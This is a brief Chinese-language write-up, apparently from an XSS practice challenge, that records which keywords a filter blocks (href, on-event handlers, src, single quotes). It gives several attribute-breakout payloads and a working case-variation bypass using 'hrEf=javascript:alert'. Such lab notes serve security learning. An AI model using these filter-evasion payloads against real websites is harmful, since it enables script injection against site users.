经过判断，发现没过滤 < > " 但是有些关键词和 ' 不能用了，大致判断和第五题一样，换一个标签
"> <a href=javascript:alert('xss') > xss</a> // 也不行了，过滤了href
onfocus，onblur，onkeydown，action也被过滤了 （on被过滤了）
src也被过滤了
"><table background=javascript:alert(1)></table> //这个没被过滤，但是好像也没什么用
尝试很多次之后，发现可以用大小写绕过
"> <a hrEf=javascript:alert('xss') > xss</a> //
